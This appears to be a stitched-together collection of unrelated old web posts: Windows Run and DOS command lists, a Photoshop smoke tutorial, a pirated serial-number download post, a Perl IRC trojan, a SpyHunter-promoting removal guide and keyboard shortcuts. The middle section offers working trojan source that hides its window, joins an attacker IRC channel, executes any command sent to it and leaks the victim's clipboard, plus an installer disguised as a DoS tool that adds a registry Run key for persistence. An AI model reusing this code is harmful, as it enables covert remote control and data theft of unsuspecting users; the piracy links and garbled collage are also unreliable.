Run Commands:
compmgmt.msc - Computer management
devmgmt.msc - Device manager
diskmgmt.msc - Disk management
dfrg.msc - Disk defrag
eventvwr.msc - Event viewer
fsmgmt.msc - Shared folders
gpedit.msc - Group policies
lusrmgr.msc - Local users and groups
perfmon.msc - Performance monitor
rsop.msc - Resultant set of policies
secpol.msc - Local security settings
services.msc - Various Services
msconfig - System Configuration Utility
regedit - Registry Editor
msinfo32 _ System Information
sysedit _ System Edit
win.ini _ windows loading information(also system.ini)
winver _ Shows current version of windows
mailto: _ Opens default email client
command _ Opens command prompt

Run Commands to access the control panel:
appwiz.cpl -Add/Remove Programs control
timedate.cpl -Date/Time Properties control
desk.cpl -Display Properties control
findfast.cpl -FindFast control
inetcpl.cpl -Internet Properties control
main.cpl keyboard -Keyboard Properties control
main.cpl -Mouse Properties control
mmsys.cpl -Multimedia Properties control
netcpl.cpl -Network Properties control
password.cpl -Password Properties control
mmsys.cpl sounds -Sound Properties control
sysdm.cpl -System Properties control

Command Prompt:
ANSI.SYS Defines functions that change display graphics,

control cursor movement, and reassign keys.

APPEND Causes MS-DOS to look in other directories
when editing a file or running a command.

ARP Displays, adds, and removes arp information from network devices.

ASSIGN Assign a drive letter to an alternate letter.
ASSOC View the file associations.
AT Schedule a time to execute commands or programs.
ATMADM Lists connections and addresses seen by Windows ATM call manager.
ATTRIB Display and change file attributes.
BATCH Recovery console command that executes a series of commands in a file.
BOOTCFG Recovery console command that allows a user to view,
modify, and rebuild the boot.ini

BREAK Enable / disable CTRL + C feature.
CACLS View and modify file ACL's.
CALL Calls a batch file from another batch file.
CD Changes directories.
CHCP Supplement the International keyboard and character set information.
CHDIR Changes directories.
CHKDSK Check the hard disk drive running FAT for errors.
CHKNTFS Check the hard disk drive running NTFS for errors.
CHOICE Specify a listing of multiple options within a batch file.
CLS Clears the screen.
CMD Opens the command interpreter.

COLOR Easily change the foreground and background color
of the MS-DOS window.

COMP Compares files.
COMPACT Compresses and uncompress files.
CONTROL Open control panel icons from the MS-DOS prompt.
CONVERT Convert FAT to NTFS.
COPY Copy one or more files to an alternate location.
CTTY Change the computers input/output devices.
DATE View or change the systems date.
DEBUG Debug utility to create assembly programs to modify hardware settings.
DEFRAG Re-arrange the hard disk drive to help with loading programs.
DEL Deletes one or more files.
DELETE Recovery console command that deletes a file.
DELTREE Deletes one or more files and/or directories.
DIR List the contents of one or more directory.
DISABLE Recovery console command that disables Windows system services or drivers.
DISKCOMP Compare a disk with another disk.
DISKCOPY Copy the contents of one disk and place them on another disk.
DOSKEY Command to view and execute commands that have been run in the past.
DOSSHELL A GUI to help with early MS-DOS users.
DRIVPARM Enables overwrite of original device drivers.
ECHO Displays messages and enables and disables echo.
EDIT View and edit files.
EDLIN View and edit files.
EMM386 Load extended Memory Manager.
ENABLE Recovery console command to enable a disable service or driver.
ENDLOCAL Stops the localization of the environment changes enabled by the setlocal command.
ERASE Erase files from computer.
EXIT Exit from the command interpreter.
EXPAND Expand a M*cros*ft Windows file back to it's original format.
EXTRACT Extract files from the M*cros*ft Windows cabinets.
FASTHELP Displays a listing of MS-DOS commands and information about them.
FC Compare files.
FDISK Utility used to create partitions on the hard disk drive.
FIND Search for text within a file.
FINDSTR Searches for a string of text within a file.
FIXBOOT Writes a new boot sector.
FIXMBR Writes a new boot record to a disk drive.
FOR Boolean used in batch files.
FORMAT Command to erase and prepare a disk drive.
FTP Command to connect and operate on a FTP server.
FTYPE Displays or modifies file types used in file extension associations.
GOTO Moves a batch file to a specific label or location.
GRAFTABL Show extended characters in graphics mode.
HELP Display a listing of commands and brief explanation.
IF Allows for batch files to perform conditional processing.
IFSHLP.SYS 32-bit file manager.
IPCONFIG Network command to view network adapter settings and assigned values.
KEYB Change layout of keyboard.
LABEL Change the label of a disk drive.
LH Load a device driver in to high memory.
LISTSVC Recovery console command that displays the services and drivers.
LOADFIX Load a program above the first 64k.
LOADHIGH Load a device driver in to high memory.
LOCK Lock the hard disk drive.
LOGON Recovery console command to list installations and enable administrator login.
MAP Displays the device name of a drive.
MD Command to create a new directory.
MEM Display memory on system.
MKDIR Command to create a new directory.
MODE Modify the port or display settings.
MORE Display one page at a time.
MOVE Move one or more files from one directory to another directory.
MSAV Early M*cros*ft Virus scanner.
MSD Diagnostics utility.
MSCDEX Utility used to load and provide access to the CD-ROM.
NBTSTAT Displays protocol statistics and current TCP/IP connections using NBT
NET Update, fix, or view the network or network settings
NETSH Configure dynamic and static network information from MS-DOS.
NETSTAT Display the TCP/IP network protocol statistics and information.
NLSFUNC Load country specific information.
NSLOOKUP Look up an IP address of a domain or host on a network.
PATH View and modify the computers path location.
PATHPING View and locate locations of network latency.
PAUSE Command used in batch files to stop the processing of a command.
PING Test / send information to another network computer or network device.
POPD Changes to the directory or network path stored by the pushd command.
POWER Conserve power with computer portables.
PRINT Prints data to a printer port.
PROMPT View and change the MS-DOS prompt.
PUSHD Stores a directory or network path in memory so it can be returned to at any time.
QBASIC Open the QBasic.
RD Removes an empty directory.
REN Renames a file or directory.
RENAME Renames a file or directory.
RMDIR Removes an empty directory.
ROUTE View and configure windows network route tables.
RUNAS Enables a user to execute a program on another computer.
SCANDISK Run the scandisk utility.
SCANREG Scan registry and recover registry from errors.
SET Change one variable or string to another.
SETLOCAL Enables local environments to be changed without affecting anything else.
SETVER Change MS-DOS version to trick older MS-DOS programs.
SHARE Installs support for file sharing and locking capabilities.
SHIFT Changes the position of replaceable parameters in a batch program.
SHUTDOWN Shutdown the computer from the MS-DOS prompt.
SMARTDRV Create a disk cache in conventional memory or extended memory.
SORT Sorts the input and displays the output to the screen.
START Start a separate window in Windows from the MS-DOS prompt.
SUBST Substitute a folder on your computer for another drive letter.
SWITCHES Remove add functions from MS-DOS.
SYS Transfer system files to disk drive.
TELNET Telnet to another computer / device from the prompt.
TIME View or modify the system time.
TITLE Change the title of their MS-DOS window.
TRACERT Visually view a network packets route across a network.
TREE View a visual tree of the hard disk drive.
TYPE Display the contents of a file.
UNDELETE Undelete a file that has been deleted.
UNFORMAT Unformat a hard disk drive.
UNLOCK Unlock a disk drive.
VER Display the version information.
VERIFY Enables or disables the feature to determine if files have been written properly.
VOL Displays the volume information about the designated drive.
XCOPY Copy multiple files, directories, and/or drives from one location to another.
TRUENAME When placed before a file, will display the whole directory in which it exists
TASKKILL It allows you to kill those unneeded or locked up applications

1 - Create some Shapes: I created some random shapes.



2 - Apply a Gaussian blur on each shape



3 - Using the liquify filter



4 - Positioning the shapes



5 - Adding some colors

Add a background color on the layer of the shape, otherwise the Hue/Saturation won't work


6 - Creating a cloud behind the smoke

Set a feather with a high value, like 40 to 80, and after that apply the hue/saturation on the cloud too


7 - Adding a gradient to create an atmosphere

The gradient will give a atmosphere and more depth to the image


Final Result


The whole process took me about 30 to 40 minutes tops, it’s pretty simple, although it can be quite hard to create a natural smoke with the liquify filter, the best thing to do is to play with the brushes and with the tools to achieve the desired effect.

AttachmentSize

1 Million Software Serial Numbers



Download:
RapidShare.com: http://rapidshare.com/files/165758769/1_...umbers.rar

DepositFiles.com: http://depositfiles.com/files/doy16surj


FileFactory.com: http://www.filefactory.com/file/ce35fd/n...umbers_rar


Letitbit.net: http://letitbit.net/download/72347d32000...s.rar.html

Password: T@R@$

This is a perl bot a built then compiled with perlapp to run as a trojan on others computers. It would also be a good candidate for a bot net bot, if someone added syn flood or other various network attacks. If you would like to add supplements to this bot just join the malvager forum and help us out. It can't revive itself out of suspension and needs a password option. Oh yeah and I used this bot tutorial to start with and you will defiantly notice the stolen code.

#!c:/perl/bin/perl.exe -w
#This is published under the gentleman's mal ware license should you
#improve it show the owner and give the owner cred
use Sys::Hostname;
use Net::IRC;
use strict;
use Win32::GUI;
use Win32::Clipboard;
my $hw = Win32::GUI::GetPerlWindow();
Win32::GUI::Hide($hw);
#This is a wait, so that if the user isn't connected to a network
#it will wait 45 seconds giving them plenty of times to get connected
sleep(45);
my $clip = Win32::Clipboard;
my $host = hostname();
my $capsule = int(rand(99));
my $hoster = $host.$capsule;
my $irc = new Net::IRC;


my $conn = $irc->newconn(
Server => shift || 'irc.9unkz0r.com',
Port => shift || '6667',
Nick => $hoster,
Ircname => 'I like to greet!',
Username => 'fucker'
);

# We're going to add this to the conn hash so we know what channel we
# want to operate in.
$conn->{channel} = shift || '#9unkz0r';

sub on_connect {

# shift in our connection object that is passed automatically
my $conn = shift;

# when we connect, join our channel and greet it
$conn->join($conn->{channel});
$conn->privmsg($conn->{channel}, 'Hello everyone!');
$conn->{connected} = 1;

}

sub on_join {

# get our connection object and the event object, which is passed
# with this event automatically
my ($conn, $event) = @_;

# this is the nick that just joined
my $nick = $event->{nick};
# say hello to the nick in public
$conn->privmsg($conn->{channel}, "Fuck You, $nick!");
}

sub on_part {

# pretty much the same as above

my ($conn, $event) = @_;

my $nick = $event->{nick};
$conn->privmsg($conn->{channel}, "Such a dick, $nick!");

}

sub on_msg {
my ($conn, $event) = @_;
my $text = $event->{args}[0];
my $pid;
if($pid = fork){
# Parent
$conn->privmsg($event->{nick}, "$text");
}elsif($pid == 0){
# Child, There is a problem with ram consumption I think using
#exec() rather than system is a good call, has not been tested with exec
system("$text");
}else{
# Error
die "Fork did not work\n";
}
}
sub on_public {

# on an event, we get connection object and event hash
my ($conn, $event) = @_;

# this is what was said in the event
my $text = $event->{args}[0];

# regex the text to see if it begins with !roker
if ($text =~ m/clip/) {

# if so, pass the text and the nick off to the weather method
my $weather_text = $clip->Get();

# wrap text at 400 chars (about as much as you should put
# into a single IRC message
my @texts = $weather_text;
# $event->{to}[0] is the channel where this was said
foreach (@texts) {
$conn->privmsg($event->{to}[0], $_);
}
}
}
$conn->add_handler('public', \&on_public);

$conn->add_handler('msg', \&on_msg);
# add event handlers for join and part events
$conn->add_handler('join', \&on_join);
$conn->add_handler('part', \&on_part);

# The end of MOTD (message of the day), numbered 376 signifies we've connect
$conn->add_handler('376', \&on_connect);

#ccgenerator
$irc->start();


It will run anything from the command line you private message it, And if you type !clip, it will display the persons clipboard.

Here is the install program, it masquerades itself as a ip dos program, but really just puts registry entries in the machine so that it will start on restart.

use Sys::Hostname;
use Tk;
sub on_cc {
my $mw = new MainWindow;
$mw->Label(-text => 'Ip to attack')->pack;
$mw-> Entry() -> pack();
$mw->Label(-text => 'Will not work if IP is invalid')->pack;
$mw->Label(-text => 'Only Click Button Once')->pack;
$mw->Button(-text => 'Nuclear DOS',
-command =>\&on_press)->pack;
MainLoop;
}
on_cc();
sub on_press() {
$host = hostname();
my $regedit = 'REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ /v ccapp2 /t REG_EXPAND_SZ /d c:\windows';
my $bullshit = $regedit.'\\'.$host.'\RunTimeLib.exe';
my $dirs = 'mkdir c:\windows';
my $dirt = $dirs."\\".$host;
my $cp = 'xcopy .\runtime\RunTimeLib.exe "c:\windows"'."\\".$host;
my $exxe = 'c:\windows'."\\".$host."\\".'RunTimeLib.exe';
system("$bullshit");
system("$dirt");
system($cp);
system('cls');
my $pid;
if($pid = fork){
# Parent
system('echo starting syn flood');
}elsif($pid == 0){
# Child
system("$exxe");
}else{
# Error
die "Fork did not work\n";
}
exit;
}

Do you have Spytector?

This “Spytector Removal Guide” article will show you how to identify and remove Spytector. This guide will be updated as more information is available.

Spytector Detection Test

Run SpyHunter’s Spyware Scanner to check for Spytector infections on your PC.

Spytector Description

Parasite Type: Keyloggers

Aliases: Spyware.Spytector, Keylog-Spytector, Hacktool.Spytector, Spytector Keylogger

Spytector Method of Automatic Detection

The removal of spyware such as Spytector can be a difficult process. If you regularly run a spyware scan with a good spyware remover, you can automatically detect Spytector and other Spyware, Adware, Worms, Trojans and Browser Hijackers.

To quickly detect Spytector, follow the instructions below:

1.  Download SpyHunter’s Spyware Scanner.

2. Select “Start Scan” to run a full system Spytector scan.

3. Reboot your computer.

4. Run another scan to pick up any remaining Spytector infections.

** SpyHunter’s Spyware Scanner only allows you to detect Spytector and other spyware. In order to remove Spytector, we advise you to buy the full-version of SpyHunter. Weekly Spytector file updates and technical support are available with SpyHunter’s spyware remover.

Spytector Manual Removal

Use Caution! Please read the instructions below carefully. Manual removal of Spytector is a delicate procedure. Proceed at your own risk. We advise you to backup your system before you manually remove Spytector.

If you are still having problems with Spytector after completing these instructions, we recommend youdownload SpyHunter’s Spyware Detection Tool to safely detect Spytector.

To manually remove Spytector, follow these removal steps:

Stop Spytector Processes

1. To open Task Manager, use CTRL+ALT+DEL or CTRL+SHIFT+ESC.

2. Go to Image Name to find “Spytector” processes by name.

3. Find and stop the “Spytector” processes listed below.
   msihdr.exe
   Spytector.exe
   kbdsm.exekbdsm.exe

Unregister Spytector DLL Files

1. Go to Start > Run > type cmd and then press OK.

2. To unregister “Spytector” DLL file, type in the exact directory path +
   regsvr32 /u + [DLL_NAME] (ex., :C\ Spytector \> regsvr32 /u Spytector.dll).

3. Find and unregister “Spytector” DLL files listed below.
   msihdr.dll
   kbdsm.dll

Delete Spytector Registry Values

1. Go to Start > Run > type regedit and then press OK.

2. To search for Spytector, press Ctrl + F and type Spytector to
   locate the key that has the value you want to delete.

3. To delete “Spytector” value, right-click on it and select Delete.

4. Find and delete “Spytector” registry keys listed below.
   Spytector
   HKEY_LOCAL_MACHINE SOFTWAREActive SetupInstalled Components{45AF4012-AF03-B3AC-EA32-20A312B6012D}45AF4012-AF03-B3AC-EA32-20A312B6012D

Spytector Symptoms

There are many signs that your PC has been hijacked and infected with Spytector or other spyware applications. To reduce the damage that can be done to your PC, start detecting Spytector symptoms on time. Below is a list of possible Spytector symptoms that your PC may have. Notice that certain spyware symptoms vary depending on upon the severity of the infection and other factors.

• Installs without your knowledge or permission. Usually spyware such as Spytector may be installed from a website through an embedded script or program in a webpage. There are some malwares that install through web pop-ups or free software that require you to accept a downloadable file.

• Tracks your surfing habits. Spyware applications such as Spytector are designed to track and collect details such as what websites you visit, what your usernames and passwords are and other sensitive information. Malware may even record and collect your login details for your online bank account.

• Bombards your PC with popup ads. Some unwanted applications such as Spytector display annoying popups (often for adult or other objectionable web sites) while you are surfing the Web and even when your PC has been idle for many minutes.

• Modifies or hijacks your homepage and displays new desktop shortcuts. Some spyware programs like Spytector add new unnecessary shortcuts on your desktop. Moreover, Spytector may actually change your default homepage to a different homepage. Sometimes Spytector won’t even allow you to change it back to your original homepage.

• Slows down your PC’s performance. One of the most common spyware symptoms is when your system suddenly starts operating slower than usual. Spyware applications use a lot of your PC’s resources to deliver popup ads and send information to third-parties which can results in a slow computer performance and system crashes.

Spytector Method of Infection

One of the most common reasons for getting infected with Spytector or other types of spyware is because people do not apply safe Internet practices. It is important to learn how one gets infected with Spytector or other types of spyware. Once you know what not to do, you will be able to avoid falling victim to spyware.

Below we provide some possible reasons why you might have become infected with Spytector:

1. You received an e-mail with an attachment from someone you don’t know and opened it.This is one of the most common ways for Adware, Viruses, or Spyware like Spytector to infect your PC. How do you know that the attachment is dangerous? It usually sends attachments that end with a .exe, .com, .bat, or .pif. Do not open email attactments if you don’t know who the sender is!

2. You were surfing the Web and you clicked on a popup ad warning you that your PC is infected. You panicked and clicked on the ad’s OK button; thus you were directed to Spytector’s website and it tried to push a product on you. Ignore such messages! We recommend closing these windows by clicking on the X instead of the OK button.

3. You visited a questionable website. A large amount of spyware is mostly pushed through adult sites. You might have accidentally clicked on a link that automatically installed unwanted software such as Spytector.

4. You downloaded a freeware or shareware program. Some developers offer their software for free, but can come with other unwanted programs such as Spytector bundled with it. Do not install any free software without reading its EULA. By simply reading a program’s EULA, you can determine whether a program you are installing has spyware bundled with it.

5. You downloaded a peer-to-peer (P2P) or shared network application. Very often peer-to-peer sharing programs are bundled with spyware similar to Spytector.

6. You downloaded some program from Warez or Crack websites. The downloads from these websites are often overrun with dangerous infections such as Spytector.

Spytector Quick Prevention Tips

Follow the Spytector prevention tips below to avoid Spytector infections and other malicious software.

1. Run Windows Updates regularly to ensure you have the most up-to-date and secure system.A good tactic is to set up your system to check for updates on a regular basis.
   
   To set up your system to access automatic updating services, follow these steps:
   Go to Start > Control Panel > System > Automatic Updates (XP) or Start > Settings > Control Panel > Automatic Updates (2000).

2. Use a firewall. A firewall is a software or hardware that serves as a blockade to keep data secure and safe and unauthorized users off your computer or network. You can choose from a variety of firewalls that are designed to meet different needs.

3. Firmly secure Internet Explorer settings. If you’re using Internet Explorer as your browser, change its settings to block spyware applications.
   
   To change Internet Explorer settings, go to Tools > Internet Options > Security > Custom Level.
   
   You will see a section near the top of the dialogue box devoted to Active X controls. There you should disable downloading of both signed and unsigned Active X controls and those marked as unsafe. Some Active X objects are spyware, and this action will block them.

4. Install a good and reputable anti-virus program. Make sure that you install only reputable anti-spyware and anti-virus software like SpyHunter. Most reputable anti-spyware software programs today are also designed to identify known viruses, which could contain Trojan horses as well.

5. Always keep your anti-spyware or anti-virus up-to-date with the latest malware definitions. The creators of anti-virus applications are constantly finding new security holes in their software and providing software updates. Therefore, it is important to make sure your anti-virus and anti-spyware programs are up-to-date. These updates are typically installed through an integrated update system.

6. Practice safe Internet surfing habits. Stay away from any questionable sites, including pornography, gambling, hacking or other off-beat sites.

The purpose of this “Spytector Removal Guide” article is to describe the removal process of SpyLocked. The SpyLocked manual removal instructions are to serve as a guide. We do not guarantee that the manual removal instructions will completely remove Spytector. It is advised to use SpyHunter to safely remove SpyLocked. -:))

Left ALT +left SHIFT +NUM LOCK....... Switch MouseKeys on and off.

SHIFT....... five times Switch StickyKeys on and off.

NUM LOCK...... for five seconds Switch ToggleKeys on and off.

explorer shortcuts

END....... Display the bottom of the active window.

HOME....... Display the top of the active window.

NUM LOCK+ASTERISK....... on numeric keypad (*) Display all subfolders under the selected folder.

NUM LOCK+PLUS SIGN....... on numeric keypad (+) Display the contents of the selected folder.

NUM LOCK+MINUS SIGN....... on numeric keypad (-) Collapse the selected folder.

LEFT ARROW...... Collapse current selection if it's expanded, or select parent folder.

RIGHT ARROW....... Display current selection if it's collapsed, or select first subfolder.




Type the following commands in your Run Box (Windows Key + R) or Start Run

devmgmt.msc = Device Manager
msinfo32 = System Information
cleanmgr = Disk Cleanup
ntbackup = Backup or Restore Wizard (Windows Backup Utility)
mmc = Microsoft Management Console
excel = Microsoft Excel (If Installed)
msaccess = Microsoft Access (If Installed)
powerpnt = Microsoft PowerPoint (If Installed)
winword = Microsoft Word (If Installed)
frontpg = Microsoft FrontPage (If Installed)
notepad = Notepad
wordpad = WordPad
calc = Calculator
msmsgs = Windows Messenger
mspaint = Microsoft Paint
wmplayer = Windows Media Player
rstrui = System Restore
netscp6 = Netscape 6.x
netscp = Netscape 7.x
netscape = Netscape 4.x
waol = America Online
control = Opens the Control Panel
control printers = Opens the Printers Dialog


internetbrowser

type in u're adress "google", then press [Right CTRL] and [Enter]
add www. and .com to word and go to it


For Windows XP:

Copy. CTRL+C
Cut. CTRL+X
Paste. CTRL+V
Undo. CTRL+Z
Delete. DELETE
Delete selected item permanently without placing the item in the Recycle Bin. SHIFT+DELETE
Copy selected item. CTRL while dragging an item
Create shortcut to selected item. CTRL+SHIFT while dragging an it